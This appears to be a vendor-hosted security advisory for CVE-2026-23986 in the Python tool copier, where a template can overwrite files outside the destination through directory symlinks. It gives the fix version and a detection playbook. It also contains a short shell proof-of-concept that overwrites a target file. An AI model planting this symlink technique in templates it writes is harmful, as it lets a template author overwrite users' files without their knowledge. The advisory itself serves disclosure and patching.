CVE-2026-23986 — copier
Fix: copier-org/copier@b3a7b37CVE-2026-23986 is a CWE-61 vulnerability in copier. A fix is available for copier — see the affected versions and patch details below.
Copier safe template has arbitrary filesystem write access via directory symlinks when _preserve_symlinks: true
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-23986.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
copierReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Impact
Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with _preserve_symlinks: true and a generated directory structure whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.
[!NOTE]
At the time of writing, the exploit is non-deterministic, as Copier walks the template's file tree using
os.scandirwhich yields directory entries in arbitrary order.
Reproducible example (may or may not work depending on directory entry yield order):
mkdir other/
pushd other/
echo "sensitive" > sensitive.txt
popd
mkdir src/
pushd src/
ln -s ../other other
echo "overwritten" > "{{ pathjoin('other', 'sensitive.txt') }}.jinja"
echo "_preserve_symlinks: true" > copier.yml
tree .
# .
# ├── copier.yml
# ├── other -> ../other
# └── {{ pathjoin('other', 'sensitive.txt') }}.jinja
#
# 1 directory, 2 files
popd
uvx copier copy --overwrite src/ dst/
cat other/sensitive.txt
# overwritten
Patches
n/a
Workarounds
n/a
References
n/a
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | copier | all versions | 9.11.2pip install --upgrade 'copier==9.11.2' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for copier, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update copier to 9.11.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-23986 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-23986 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-23986. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-23986 in your dependencies?
O3 Security finds CVE-2026-23986 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.